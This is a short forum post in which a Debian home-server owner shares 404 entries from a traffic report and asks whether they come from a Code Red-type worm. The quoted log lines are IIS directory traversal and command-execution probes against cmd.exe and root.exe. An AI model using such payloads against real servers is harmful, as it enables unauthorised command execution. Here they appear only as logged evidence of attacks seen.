Why I never considered using Windows as a server and never will


I have a server running Debian that I use mostly for personal things, hosting photo galleries for family and such. I use Visitors to generate a daily report of the web traffic (by running it through /etc/cron.daily) and occasionally I have a look through these. Today, in the May-07-07 report, I have the following lines in '404 Not Found' errors:

Code:
Different missing documents requested 15
1)	6	/favicon.ico
2)	2	/scripts/..%5c../winnt/system32/cmd.exe?/c dir
3)	1	/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir
4)	1	/scripts/root.exe?/c dir
5)	1	/MSADC/root.exe?/c dir

12)	1	/c/winnt/system32/cmd.exe?/c dir
13)	1	/scripts/..�/../winnt/system32/cmd.exe?/c dir
14)	1	/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir
15)	1	/scripts/..�../winnt/system32/cmd.exe?/c dir
What is this? A code red worm? These are still around?

At any rate, this is mostly just a curiosity to me; I'm not that concerned about it, especially since the Linux server has no idea what a "cmd.exe" is.

Maybe someone will find this interesting,
